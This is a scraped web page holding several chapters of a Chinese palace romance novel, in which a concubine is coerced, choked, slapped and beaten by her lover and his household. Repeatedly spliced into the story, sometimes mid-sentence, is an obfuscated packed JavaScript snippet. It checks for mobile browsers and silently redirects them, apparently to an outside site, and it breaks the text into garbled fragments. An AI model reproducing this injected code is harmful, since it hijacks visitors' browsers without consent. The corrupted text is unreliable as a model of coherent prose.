萧怀意听了这席话,竟一点儿也没讨厌她。 萧怀意就那样温柔地看着她,柔声道:“我知道,你是担心我才说得这样绝情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469557|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清念再次怔了怔,柔软的心又感到了微微的刺痛。 萧公子总是知道她心中所想。 还未等她说什么,身后便传来了一个声音:“怀意,为何老缠着我的姨娘不放?” 沈清念见谢宴之过来,身子微不可闻地颤抖了一下。 谢宴之看见萧怀意和她一起,是不是又要为难萧怀意? 她的眼里满是担忧。 萧怀意此时却轻声在她耳边道:“不必担心。你只接着说那些绝情的话就好。” 沈姑娘的处境,比他的更糟。 红玉见谢宴之过来,心道不好。 清姨娘好不容易拒绝了眼前用情至深的公子,又被大公子发现与人私会。 她的心又提了起来,大气也不敢喘一下。 谢宴之大步过来,眼里满是寒霜。 他一把搂过沈清念,坐在了凳子上,又将人搂过来坐着。 再用手捏着她的下巴,眼里满是探究: “还是说,是你背着我,在这里私会情郎?” 沈清念抬眼看着谢宴之,身体有些微微颤栗,鼻尖也泛起了红,眼里满是哀求。 她不愿让萧怀意看到她与谢宴之这样亲密的一幕。 谢宴之仿佛看不到沈清念眼里的哀求,松开了她的下巴,用手在她的腰肢上摩挲着,挑衅般看着萧怀意。 萧怀意脸色比之前更是白上了几分。 谢宴之这般做法,是在恶心他,亦是在侮辱沈姑娘。 如果他不喜沈姑娘,又何必强留她在身边? 萧怀意拱手道:“今日清姨娘与在下见面,只是为了让在下勿要再对她心存幻想罢了。” 说着,萧怀意又眼神哀伤地看了沈清念一眼。 谢宴之看了一眼沈清念,见她的眼中只是委屈,始终没有去看萧怀意一眼。 他对沈清念道:“当真?” 沈清念点点头:“我如今已有了夫君,自然要断了旁人的心思。” 谢宴之闻言,低头在她耳边低声道:“那我来帮你。” 沈清念闻言,有些疑惑。 没等她反应过来,谢宴之便扣着她的后脑勺,狠狠吻了起来。 红玉见状,赶紧背过身去。面上平静,心里已是惊涛骇浪。 大公子竟这样放荡,在外面就与姨娘这般亲热,让人面红耳赤。 沈清念震惊地看着谢宴之,想着他怎么能当着人的面,就做出如此无耻的事来。 谢宴之又似发泄般,狠狠摩挲着她的唇。 她只觉得嘴唇生疼,又发不出声。 想着萧怀意还在一旁瞧着,瞧着她这样不堪的一幕。 沈清念的眼泪止不住地滚落下来。 自己刚才还在萧怀意面前信誓旦旦地说着谢宴之待她多好。 转眼谢宴之就当着外男的面,这样欺辱她,丝毫不给她颜面。 他到底将她当做什么! 萧怀意见了谢宴之的举动,心里怒气翻涌。 没想到谢宴之为了恶心他,竟对沈姑娘做出如此不堪的事来。 他又看见沈清念眼角的滚落的眼泪,就像一把刀**了他的心脏,让他心痛不已。 就只是为了让他断了念想,沈姑娘就要忍住心中的不适,在他面前喊谢宴之夫君。 可他又能怎么做呢?如果此时去护着沈姑娘,谢宴之又会怎样责罚她。 想到这儿,他忽然觉得即便他现在已经取代了萧洪意,但在谢宴之面前,他还是那样无力。 谢宴之感受着怀中人的颤抖,心道现在知道怕了? 她来与萧怀意见面时,怎么不想着他知道了会怎么样? 还委屈得哭了! 就那么不想被萧怀意瞧见他与她的亲密。 他就是要她看看,那个口口声声心悦她的萧公子看到他这样欺负她,会怎么做。 为了给她个教训,谢宴之又咬向那抹柔软。 直到尝到一股腥甜的味道,谢宴之才放开了她。 沈清念得了自由,伸出手指,摸了下唇,觉得有些刺痛,又看了看手指上的血迹,心里不禁泛起一股苦涩。 她知道自己已经彻底没脸再见萧怀意,只是红着眼,看着亭子外的太湖。 可是不知怎的,眼泪还是像断了线的珠子,一滴一滴地顺着脸颊滑落。 谢宴之见状,脸色又阴沉了下来。 第一百四十八章 她一哭,他的心就乱了 萧怀意看到沈清念被谢宴之羞辱的模样,他胸中的怒意已经要控制不住。 “世子既舍不得,就该善待身边之人才好。” 本来沈姑娘都要与他一同离开京城了,谢宴之强行将人带了回来。 如今又这样对待沈姑娘,怎能不令他心中怒意翻滚。 谢宴之有些得意地看着萧怀意:“萧公子这是心疼了?” “可惜她如今是我的姨娘,我想如何便如何。” 说着,又捏着沈清念的下巴,强迫她将头转过来。 好让萧怀意看到她唇上他留下的印记,又伸手将她肩上的外衣拨下去。 沈清念几乎是惊恐地一把按住,嘴里喊着:“不要!” 萧怀意见状,立即转过身去,他此刻只想冲着谢宴之的面门揍上去。 可他知道,他越是维护沈姑娘,谢宴之越会变本加厉地羞辱她。 如今只有自己离开,谢宴之才有可能放过沈姑娘。 “世子既与沈姑娘如胶似漆,我就不打扰了!” 他低沉的声音里压着怒意。 说完,便转身离去。 谢宴之看着萧怀意离去的气愤的身影,眼里噙了一丝冷笑。 萧怀意还妄想与他争,怎么可能争得过! 沈清念听到萧怀意的话,心里一颤。比谢宴之的羞辱,更令她难受。 她也知道,萧公子这样说,也只是不想谢宴之再这样羞辱她。 可她心里还是难受得紧,眼眶里的泪又蓄了起来。 心中再也抑制不住愤怒,一下从谢宴之腿上站起来,朝马车跑去。 谢宴之看着那跑走的身影,当即黑了脸,眼底闪过一丝怒意。 她难道不应该向他解释些什么吗? 背着他与别的男人私会被他抓住,明明错的是她。 怎么看着她才是最委屈的那一个? 红玉看着清姨娘从自己身前跑过,又见大公子黑沉的脸,她赶紧屈膝福了一礼,快步跟了上去。 今日大公子的举动看起来有些令人害怕。再这里多留一刻,她都心惊胆战。 沈清念跑到马车边上,刘麽麽已经在车板上等着了。 见她眼睛红红的,唇也是肿得破了皮。 她嘴角撇了撇,还好大公子亲自来将这个不守妇道的人抓着了。 红玉此刻也追了上来,伸手扶着沈清念上车。 沈清念忽略掉刘麽麽眼里的幸灾乐祸,直接弯腰进了车厢,对着马夫吩咐道:“快走。” 想着刚刚在萧怀意面前,谢宴之带给她的**,她的眼泪就簌簌往下掉。 她一刻也不想与谢宴之待在一处。 眼下她只想逃,远远地避开他。 所以她不管不顾地跑过来,盼着马车能带她逃离他。 马夫往后看了一眼,见大公子并没有跟上来,以为他不与他们同乘一车。 便扬了扬鞭子,赶着马车往靖南侯府去。 谢宴之见那身影边跑边擦着泪,看着很是委屈的样子,心中烦闷不已。 他早就派了人跟在沈清念的身边,她的一举一动,他都知道。 毕竟,他现在怎么能指望一个强求来的女子对自己死心塌地? 她还要些时日才能发现他的好,才能发现有他的宠爱,日子会有多幸福。 而他的暗卫也发现这几日有人在侯府周围转悠。 细查之下,竟是萧怀意的人。 他那日已经说清楚了,让他不许再对沈清念抱有心思。 可他却没有听进他的话,还企图一次又一次接近沈清念。 他自然得给他和她一个教训! 想到自己刚刚像个抓奸的人,他的眸光又寒了下来。 他一甩袖子,朝着自己的马车走去。 沈清念一下马车,便直奔而去,趴在卧房的榻上哭了起来。 红玉见状,轻声道:“姨娘,您别太难过。” “大公子也是…也是太紧张您了。” 所以才会做出那样荒唐的举动。 她都觉得大公子今日的行为让人觉得有些无耻,一时也想不出什么替他辩解的话来。 只好说是太过在意。 沈清念听了,起身来,双眼含泪看着红玉:“你先出去吧,我想自己待一会儿。” 红玉见沈清念那红肿的眼和破了皮的唇,心里也叹了口气:“那奴婢就在门外,有事您喊我便是。” 说完,便缓缓退出了屋子。 沈清念趴在床上又哭了一会儿。 今日与萧怀意见面本就是意料之外的事。 她本也是要与萧怀意说清楚,二人以后也不要再相见了的。 但谢宴之实在是太过分了。 他一下又说喜欢自己,一下又强迫自己,羞辱自己。 的的确确就是个疯子! 再想着这几日的事,沈清念收起了眼泪,坐直了身子。 眼神里透着坚定,她一定要离开谢宴之,走得远远的。 但眼泪和倔强并不能解决眼下的困境。 她咬了咬唇,思忖了一会儿。 眼下只有故技重施,让谢宴之误以为她已经认命,只能待在他身边,依赖他。 他方才会放下戒备,留出机会给她。 看着外面天色已晚,沈清念起身去了浴室。 夜里,谢宴之从府外回来,一只脚已经踏进了观澜居的院门。 余光又看了一眼边上的玉恒居院门的锁,他的眼神有些晦暗不明。 这半日,他心里都有些心绪不宁。 而这个让他心绪不宁的罪魁祸首,不待他回来,就落了锁。 就那样不想见到他? 想到这儿,他又将那只脚收了回来,双脚点地,飞身进了玉恒居。 红玉刚刚伺候完沈清念洗漱,又帮忙点了安神香,现在正伸手关门。 谢宴之冷不丁地出现在身后,下了红玉一跳。 还没天黑,姨娘就吩咐了落锁。 大公子也没让人开门,是怎么进来的? 她福了一礼:“大公子。” 谢宴之没说一句话,径直走了进去。 屋内只余一只红烛燃着,沈清念坐在铜镜前,手中拿着梳子,轻轻嵌入发丝,顺着长发缓缓滑落。 谢宴之认得那梳子,正是他给她的那把玉梳子。 又见她的睫毛上似沾了些烛火的暖光,微微颤动时,漾出些细碎的光晕。 身上的藕粉里衣紧紧裹在她身上,将她的玲珑曲线展露无余。 她此时正低头捻住发尾,嘴角带着淡淡的笑,专注地想将它梳得顺滑,连他站在身后都未曾察觉。 谢宴之看到她的人影和烛火相互交织,在镜中映出一片朦胧的温柔。 “你就是这样勾引住萧怀意的?” 听到身后传来的声音,沈清念猛地抬头,那双秋水美目,透着些惊吓。 见谢宴之冷着脸站在身后。 她想过谢宴之会来找她,却没想到开口便是这样一句辱人清白的话。 饶是她心里做足了准备,听到这话,还是有些气恼。 她何时勾引过萧怀意了? 至始至终,她没勾引过任何人。 她眼眶里开始蓄起了泪,停下来手中的动作。 谢宴之见她不说话,快步上前,夺走了她手中的梳子,扔到了地上。 又狠狠抓住了她的手腕,将人从软凳上拉了起来。 “你为何不说话?” 谢宴之低沉着声音,沈清念听出他声音里的怒意。 她微微蹙了蹙眉,看着地上的梳子哽咽道:“世子想听我说什么?” “我从没勾引过谁,你是知道的。” 谢宴之眯了眯眼,沈清念是在说他。 她从没勾引过他,他却总是自负地以为她处处在勾引他。 “你如今已经是我的姨娘,还去私会外男,不是想勾引人是想做什么?” “你还有没有妇道!” 说着,他又掐住了她的脖子,表情有些狰狞:“我怎么忘了,太湖是你们初次见面的地方,今日我去,是不是打扰你和情郎叙旧了?” 沈清念瞬间感受到了一股窒息感,她快要呼吸不了。 看着谢宴之那张满是怒气的脸,耳边听着他满是讽刺的的话语,眼里的泪顺着脸颊滑落。 谢宴之见人被他掐得面色通红,仍然倔强地不肯向他求饶,反而流着泪,用哀怨的眼神看着他。 那模样,仿佛受了天大的委屈,他手上的力松了松。 “我今日去,不过是为了与萧公子说清楚。” “让他不要再来找我,我们从此再无瓜葛。” “萧公子也是这样与你说的,你又不信!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478897|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“你既不信,又何必来问我。” 谢宴之甩开了她的下巴,用目光审视着她:“你前日才差点和他私奔,今日就说要与他斩断情缘,叫我如何相信?” “今日若不是我来得及时,你们是不是就抱在一起互诉衷肠了?” 沈清念红着眼,有些埋怨地看着他:“我如今都是你的人了,自然不能再与旁人不清不楚。” “更何况红玉她们都在那里看着,我与萧公子没有任何逾越之举!” “你凭什么污蔑人!” “你若不信我,大可将我赶出府去,何必在人前将我羞辱一番!” 说着,沈清念坐回软凳上,背对着谢宴之,趴在梳妆台上啜泣。 谢宴之看着眼前的人双肩微微颤动,细碎的哭声隐约传来。 他的心里又烦躁起来。 明明是她的错,怎么还像他冤枉了她一样。 那副委屈的模样给谁看! 谢宴之又瞥见沈清念手腕上的红痕,她的肌肤白皙滑嫩,现下那红痕红得有些刺眼。 他弯腰捡起那玉梳子,放在沈清念手边,转身走了出去。 她一哭,他的心就乱了。 谢宴之看到了立在一旁恭敬低头的红玉。 冷着脸问道:“今日姨娘与那公子到底说了什么?” 红玉见谢宴之脸色很不好,想必刚在屋子里与姨娘又起了争执。 又见谢宴之那冰冷的目光审视着她,她不敢隐瞒:“那公子问姨娘是否安好。” “姨娘说她很好,说您待她也很好,您是她一生的良人。” “后来,姨娘又说叫那公子往后不要来找她。” 谢宴之闻言,眉头皱了皱:“还说什么了?” 红玉赶紧摇头:“后面您就来了。” 她可不敢说那公子还像姨娘表明了心意。 “自去领十个板子。再有下次,你就拿命来赔罪。” 谢宴之又冷不丁说了一句。 红玉一听,吓得跪在地上,重重磕了一个头:“是,大公子。” 谢宴之面无表情走出了院子。 红玉这才一下放松了身子,歪坐在地上。 心里还是止不住的后怕。 今日栗子糕是一位长相貌美的女子给的。 只说清姨娘见了,便知是何意了。 哪曾想那女子竟是替那公子传的信。 谁知那公子又竟是姨娘从前的情郎。 还偏偏给大公子撞见二人见面。 若她早知道那信会引来这场祸事,给她十个胆子,她也不敢替男子传信给清姨娘啊。 不过,那公子一表人才,温文尔雅,又对姨娘不离不弃。 也难怪清姨娘承欢那日会哭得那样伤心了。 她可以给那公子当正妻的,却被世子强掳来做了妾室。 换了谁,都会不甘心,不情愿吧。 红玉扶着墙站起来,轻声来到卧房前:“姨娘,你还好吗?” 谢宴之走后,沈清念就吹灭了蜡烛,此时屋子里一片漆黑。 红玉借着月光,往里看了看,隐约能见到床上鼓着一个小包。 “我没事,只是累了,想歇会儿。”床上传来沈清念的声音。 红玉听见沈清念的声音里带着些鼻音和沙哑,知道她方才又哭过了。 可她也不知能如何安慰,只能小声道:“那奴婢就在外间守着您。” 屋子里再没有声音传来。 红玉想着姨娘今日回来哭了好久,现在是累极了,也该睡着了。 她转身准备退下之际,又听见沈清念道:“今日,多谢你了。” 若不是红玉帮着传信,她也不可能与萧怀意见上一面。 该说的她已经说了,想必萧公子也明白了她的意思。 只希望他以后不要再管她的事。 谢宴之又让萧怀意见了那样荒唐不堪的一幕,他心中一定是失望至极,也不会再理她了。 沈清念看了看头顶的纱帐,心里有些难受。 至少他从此以后都安全了。 这样想着,沈清念往上扯了扯被子,闭上了眼睛。 今日确实是累了,她要好好休息,养足精神,才好应付谢宴之。 她似乎又想到了什么,睁开了眼,神情严肃。 明日或许还有一场更大的麻烦在等着她。 第一百四十九章 拿人 次日一早,刘麽麽就在老夫人面前将事情说了一遍。 “老奴瞧着,那公子看清姨娘的眼神不清白。” “为了方便跟清姨娘说话儿,还命人用刀架在老奴的脖子上呢。” 说着,露出了脖子上那一丝红痕。 “老夫人,老奴差点儿就见不着您了。” 刘麽麽说着,又伸手抹了抹眼泪,仿佛受了天大的委屈。 “沈氏那个**!” 大夫人听了这话,用力拍了一下面前的桌子。 “母亲就由着她在外坏了我们侯府的名声,丢了宴哥儿的脸!” 大夫人看向老夫人,说这些话时,几乎是咬牙切齿。 老夫人听了刘麽麽的禀报,眉头皱着,神色有些凝重,心里也是气得不轻。 原先觉着这清丫头是个端庄的,知书达理的人。 模样也不错,宴哥儿喜欢,纳了做妾也没什么。 没想到她也学着外面的浪**人,去私会情郎。 大夫人见老夫人没什么反应,又气愤道: “那****,就那样与人私会。” “这要被人瞧见,会觉着他堂堂世子,连一个妾室都管不住,宴哥儿会沦为京城的笑柄的。” 她又看了眼刘麽麽:“去将沈氏那个**带到问心堂来!” 刘麽麽听了大夫人的话,又看了眼老夫人。 见老夫人闭着眼,手上继续捻着佛珠,便知她是默许了大夫人的话,心里不禁得意起来。 而后快步到院子里叫了几个粗使丫头,又让每人手里拿着一根木棍,气势汹汹就往观澜居去了。 玉竹一大早就在玉恒居院子边的花圃里,拿着一只青釉玉瓶,小心地将露珠一滴一滴收进去瓶中。 正打算起身之际,就见刘麽麽一行人浩浩荡荡地过来了。 又见那些也丫头个个敦实,手中拿着木棒。 这架势,是要去捉什么人。 又见她们朝观澜居去了,她心中一想,立刻起身朝沈清念的屋子里跑去。 见刘麽麽那架势,吓了一跳。 “姨娘!姨娘!” 玉竹朝着屋子里焦急地喊了两声。 红玉正在铜镜前,为沈清念梳头发。 听到玉竹慌乱的声音,拿着珠花的手顿了顿,转过身去。 只见玉竹慌慌张张跑进来,神色有些紧张。 “不是让你在外面收了露水给姨娘煮茶喝吗?” “何事慌慌张张的?”红玉厉声道。 玉竹年纪小,只是这府上的三等丫头,遇上事难免莽撞有些不稳重。 她就常叮嘱她遇事不要慌,要将性子练得沉稳些。 如今看她又方寸大乱,丝毫没将她平日里的话记在心上,这才厉声喝止她。 玉竹却无视红玉的责备,用手指着门外,声音颤抖着:“刘…刘麽麽来了。” “刘麽麽来就来了。” 红玉想着,这两日刘麽麽待自家姨娘的好了很多。 她过来又能是什么大事,左右都是不敢责罚姨娘的。 玉竹上前一步,拉住红玉的手,又看着沈清念:“刘麽麽带了好些人来,她们手里都拿着棍子,看样子是来拿人的。” “这会子去了观澜居。” 可观澜居里住着谁,她们三个人都心知肚明。 红玉也皱眉,转身看向沈清念。 沈清念倒是不像二人那样惊讶与慌张,只是站起了身,要往外走去。 “姨娘!”红玉有些担心。 沈清念看了看她,轻声道:“该来的总是要来的。” 红玉只能心里叹了口气,有刘麽麽在,老夫人的确是迟早都会知道的。 随后便转身,坐到了外间的梨花木椅子上。 红玉也放下了手中的珠花,跟着出去。 她与玉竹二人,立在沈清念身旁,眼睛一直看着门口。 刘麽麽带着人去了观澜居,沈清念从前待的屋子,却连个人影也没瞧见。 一问小厮,才知沈清念已经搬到了玉恒居。 那可是大公子最看重的院子,一直空着不让人进去住。 说是以后娶了新妇,给新妇住的。 如今却给了那位表小姐! 想到这儿,她心里有些发虚,觉着自己不该在老夫人面前嚼舌根。 但她还是定了定神。 那表小姐就是私会外男,还任由那公子拿到架在自己的脖子上。 她对自己不管不顾,无论如何,她也咽不下这口气。 想到这儿,她又端着手,带着人闯进了玉恒居。 一进屋子,便见沈清念平静地坐在椅子上,眼眸平淡如水。 见到她们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大夫人一脸的厌恶,声音里带着些威严:“还不跪下?” 第一百五十章 救救姨娘 沈清念朝大夫人看过去,眸子里满是探究:“清念不知何错之有,大夫人要罚我跪下?” 见沈清念不但没听她的话跪下,还敢来质问她。 大夫人重重拍了一下桌子,手上戴的玉镯都险些磕断:“你私会外男,做下那样不要脸的事,还有脸问何错之有!” 沈清念无视大夫人的怒火,仍是语气平静道:“我的丫鬟红玉,刘麽麽,还有萧公子的侍从都在,谈不上私会。” “我与萧公子只是当着他们的面说了几句话,也算不得什么不要脸的事。” 大夫人见她如此平静,觉得自己像一记重拳打在了棉花上,轻飘飘就被她揭过去了,气得指着她:“你……!” 老夫人见大夫人一时语塞的样子,这才看着沈清念,缓缓开口:“跪下。” 沈清念转身看向老夫人,见她脸上没了往日的慈祥,眼里也是一片冷意。 就那样坐在那里,高高在上的看着她,语气里没有一丝恼意,却不容人拒绝。 沈清念屈身福礼:“老夫人,我没有做什么不堪之事,我不能跪。” 跪了不就是承认自己做了那样的事了? 她可以不要清姨娘这个身份,但不能没有清誉。 忽然一个茶盏砸在沈清念脚前,滚烫的茶水溅到她的鞋面上,烫得她眉头微皱。 老夫人威严又压迫的声音又在沈清念的头顶响起。 “好一个不能跪!” 随后给了刘麽麽一个眼色:“胆敢忤逆长辈!给我掌她的嘴。” 刘麽麽得了吩咐,刚往前迈出了一只脚,脑中想起了大公子那阴沉的脸。 又收回了脚,用手肘碰了碰一旁站着的孙麽麽。 孙麽麽看刘麽麽那个没出息的样子,鼻子一哼,一边走上前,一边撸起袖子。 走到沈清念面前,伸手揪着她脑后的发,迫使她仰起头来,再狠狠一耳光抽在了沈清念脸上。 沈清念被打得嘴角渗出了血,疼得眼泪在眼眶里打转,却依然挺直了身子,看向老夫人。 “你这样做,既害得我们靖南侯府伤了颜面,身为宴哥儿的妾室,也害他丢了脸面!” “你现在可知错了?” 老夫人说完这些话,让孙麽麽转身立到了一旁,露出了沈清念的脸。 红玉在门外听着茶盏碎裂的声音,心里有些紧张。 又听见老夫人让人掌姨娘的嘴,她心里被狠狠揪起了一块。 看来老夫人是真的动了怒了,姨娘今日怕是难过了。 到底要怎么办呢? 红玉第一个想到的人就是谢宴之,可他现在不在府中。 她不禁有些着急,还有谁能来救救姨娘呢? 昨夜大公子未宿在玉恒居,离开的时候,脸色也不好。 看来姨娘和大公子并未和好如初。 就算大公子在,也未必会救姨娘。 可除了大公子,红玉眼下实在找不到谁可以救救自己姨娘。 可听着里面的动静,觉得沈清念今日就要过不去这一关,红玉咬了咬唇,抬脚就往前走。 玉竹见红玉往前走了,她忙问道:“红玉姐姐,你要到哪去?” 红玉用手指比了个噤声的动作,指了指观澜居的方向。 玉竹点了点头,知道红玉姐姐这是要回观澜居搬救兵去,她心里才松了松。 红玉脚步匆匆地到了观澜居,正巧看到元青过来。 她如看到了救命稻草般,跑到元青跟前,焦急道:“元青大哥,快让大公子救救姨娘吧。” 元青听这话,有些摸不着头脑。 昨日大公子放他一日假,他便回了一趟家,眼下才刚回府上。 所以他并不知道府中发生了什么。 但他也清楚,事关清姑娘,那就不是小事。 “你别急,先告诉我怎么回事?” 红玉忙说道:“今个儿一早,老夫人就派人将姨娘带到了问心堂。” “好端端的,老夫人为何让人带走了清姨娘?” 元青有些疑惑,爷有多看重清姑娘,老夫人也是知道的,怎么会突然将人带走了呢? 红玉捡着重要的话,三言两语地告诉了元青。 “不知这事怎么就落到了老夫人耳朵里,一大早就让人将姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486258|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘带走了。” 红玉紧皱着眉,用手绞着帕子。 元青看了红玉一眼,这丫头性子沉稳,他才挑了她来伺候清姑娘的。 如今连她都有些慌了,想必事情相当严重了。 “大公子昨个儿走了以后,姨娘哭得嗓子都哑了。” “若老夫人真要因此事罚姨娘,我怕姨娘身子受不住啊。” 元青闻言,眉头一沉。 那些丫头手拿的木棒,是老夫人执行家法时才用的手段,清姑娘的确受不住。 “元青大哥,现在怎么办?偏偏大公子不在府中。” “怎么办?现在只能去找大公子。”元青叹了口气。 清姑娘与萧公子私下见面被爷撞见,爷都没打没罚,那心里肯定是紧着清姑娘的。 虽然清姑娘眼下跟大公子闹了别扭,可这并不代表大公子就厌弃了清姑娘。 老夫人也是的,怎么连这也没看明白,当真是越来越糊涂了。 他对红玉说道:“你先去问心堂边上看着,我去将大公子找回来。” 说着,便往府门的方向去了。 沈清念听老夫人这样问,她眼含泪光,有些哽咽: “老夫人,我与萧公子并没有任何逾矩之处,这事我不能认。” 说着,沈清念又跪在了地上。 “既然你们都如此在意这事,觉得我伤了靖南侯府的颜面,害世子丢了脸面。我愿意离开靖南侯府。” “永远离开京城,永不在世子前面出现,不会叫人知道这些过往。” “还请老夫人成全。” 说着,沈清念趴在地上磕了一个头。 原本,大夫人见沈清念被打,心情极佳,正悠闲地喝着茶。 听到这话,差点被茶水呛住。 她怎么也没想到沈清念竟然求老夫人放她离开靖南侯府! 老夫人也没想到沈清念会这样说,她盯着她看了会儿,心里有些惊讶。 她竟在她眼中看到了一丝决绝。 不过,她又放松了神情,对着沈清念道:“没想到,你竟是这样有心机的女子,我从前真是看错你了。” 第一百五十一章 到底是被人强迫的 听到这话,沈清念猛地抬头,不知老夫人为何这样说。 “你明知宴哥儿舍不得你,还要我将你放出去。 你是想宴哥儿回来后,大发雷霆,责怪我这老婆子放了他喜欢的玩意儿。 你这是在挑拨我们祖孙!” 原来老夫人误将她的请求当成是挑拨离间的心计。 沈清念眉头皱了皱,难怪老夫人给她的避子汤里下了分量那样足的寒凉之物。 原来在她们眼里,她只是一个供谢宴之消遣的玩意儿。 她根本不配孕育子嗣。 谢宴之还未成婚,便已有妾室。 老夫人叫她没了生育的能力,就能给未来主母一个交代。 看来盼老夫人放她出府是不可能了,这时,她又见老夫人眯着眼看着她道: “你别以为你搬出宴哥儿,今儿我就不罚你了。” “正因你是宴哥儿的妾,我才要替他重重罚你,好让你知道自己的身份!” “老夫人!我绝无挑拨之意!” “也没想搬出世子来庇护自己。” 沈清念跪得笔直,声音不卑不亢,她只想着要把话说清楚。 “我……” “还在狡辩!” 她话还未说完,老夫人已经打断了她的话。 她想出府,老夫人心里也知道。 不然,那晚观澜居的动静也不会那样大。 到底是被人强迫的。 可如今都已经是宴哥儿的人了,还不安分。 与男子私会,又想离府,简直是一点妇道没有。 她不仅要罚她,还得狠狠罚,让她明白进了这门,她的去留就轮不到她自己说了算。 “薛氏,这丫头到底是你们大房的人,你想怎么罚她?” 老夫人又慢慢悠悠喝了一口茶,别有深意地看向薛氏。 以后,薛氏迟早要接管府上这些事,她这个做婆母的,也有意在这些方面多历练历练她。 薛氏看到了老夫人的眼神,转头冷眼来看着沈清念,心里飞速想着法子。 没想到老夫人竟让她来处置沈清念,她心中冷笑,她自是不会轻饶过她。 沈清念看到薛氏的神情,自然知道薛氏肯定不会轻易饶过她。 她不为谢宴之,也为了顾灵玉为难自己。 薛氏挑眉一笑,起身来到老夫人跟前,凑到她耳边说了几句。 老夫人听后,先是看了薛氏一眼,又看向沈清念,眼里带了些复杂的情绪。 沈清念看到老夫人眼里先是有些震惊,又是默许。 她心里瞬间紧张起来。 这时,薛氏忽然看着她笑了笑,看得沈清念周身发寒。 沈清念见她一招手,一个丫鬟就跑到她跟前,薛氏小声地交代了几句。 那丫头眼里也闪过一丝惊讶,随后跑了出去。 虽不知薛氏想的什么法子,沈清念却周身发寒。 “就照你的做吧。” 老夫人说完就起身,拄着梨花木拐杖,在刘麽麽的搀扶下往屋子里走。 薛氏点头道:“是。” 待老夫人走进了里间的屋子,薛氏转过身来,看着沈清念冷笑了一声。 沈清念看到薛氏的笑,全身寒毛都立了起来。 还没等她反应过来,背后就来了两个膀大腰圆的粗使丫头,抓着她的肩,将人拽了起来。 “放开我!”沈清念用力挣扎着想往后退,她直觉不能任由她们将她拉出这扇门。 那两个丫头见她挣扎,将她的手臂抓得更紧。 沈清念觉得手臂像断裂般,但她还是继续挣扎。 这时,又有一个丫头拿着木棍猛地砸在她背上,沈清念只觉得背上的骨头都要断掉,疼得冷汗一下就打湿了衣裳。 喉头也涌上腥甜,身体不受控制地往前踉跄,此时若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494252|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是被丫鬟拽着,她恐怕已经瘫倒在地。 孙麽麽此时走上前,冷着脸道:“我劝姨娘消停些,乖乖跟着走,免得再受皮肉之苦。” 说完,示意那两个丫头继续将沈清念拉着往外走。 “姨娘!” 玉竹从廊下冲出来,看到沈清念被人死死拽着手臂,看上去没有一丝力气。 又见她发丝凌乱地贴在脸上,紧皱着眉头,看着有些痛苦,玉竹的眼泪瞬间就涌了上来。 她快步上前,伸手想要扶沈清念,却被孙麽麽扬手一巴掌打在手背上,手背瞬间红了一片。 沈清念听到玉竹的声音,强撑着沉重的眼皮,对着玉竹摇了摇头:“我没事,你快回玉恒居去。” 她怕玉竹留下来,会受到她的牵连,将她一并惩罚。 说完,她便被拖拽着朝佛堂后面去了。 玉竹怔了怔,红着眼看着那一行人的背影,急得在原地跺了下脚。 忽然,她想起沈清念的嘱咐,伸手擦了一把眼泪。 姨娘说得对,她得赶紧回玉恒居告诉红玉姐姐! 也不知红玉姐姐找的救兵来了没有。 她加快脚步往玉恒居跑,却在半道上和赶过来的红玉撞了个正着。 “红玉姐姐!”她往后面看了看,见红玉身后空无一人,心瞬间沉了下去。 她急得拉着红玉的手:“救兵呢?” 红玉看她急得眼泪直掉,忙问道:“可是姨娘出事了?” 玉竹点点头:“她们将姨娘带着往佛堂后面去了。” 佛堂后面? 红玉之前去过,那里就是一小片空地,没什么特别的,去那里干什么? 